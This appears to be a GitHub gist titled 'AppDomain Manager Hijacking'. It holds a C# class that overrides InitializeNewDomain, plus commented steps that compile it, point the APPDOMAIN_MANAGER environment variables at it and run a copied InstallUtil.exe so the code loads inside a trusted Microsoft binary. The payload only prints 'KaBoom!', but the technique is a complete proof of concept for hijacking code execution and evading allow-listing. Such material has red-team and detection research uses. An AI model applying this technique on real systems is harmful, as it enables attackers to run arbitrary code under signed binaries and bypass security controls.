Skip to content

Instantly share code, notes, and snippets.

@davehardy20
Created September 15, 2018 07:29
Show Gist options
  • Select an option

  • Save davehardy20/88d9ec78d096a660def56a89d85c38f4 to your computer and use it in GitHub Desktop.

Select an option

Save davehardy20/88d9ec78d096a660def56a89d85c38f4 to your computer and use it in GitHub Desktop.
AppDomain Manager Hijacking
using System;
using System.IO;
using System.Reflection;
using System.Runtime.Hosting;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
Console.WriteLine("KaBoom!");
return;
}
}
/*
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library MyAppDomainManager.cs
set APPDOMAIN_MANAGER_ASM=MyAppDomainManager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
copy C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
InstallUtil.exe
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment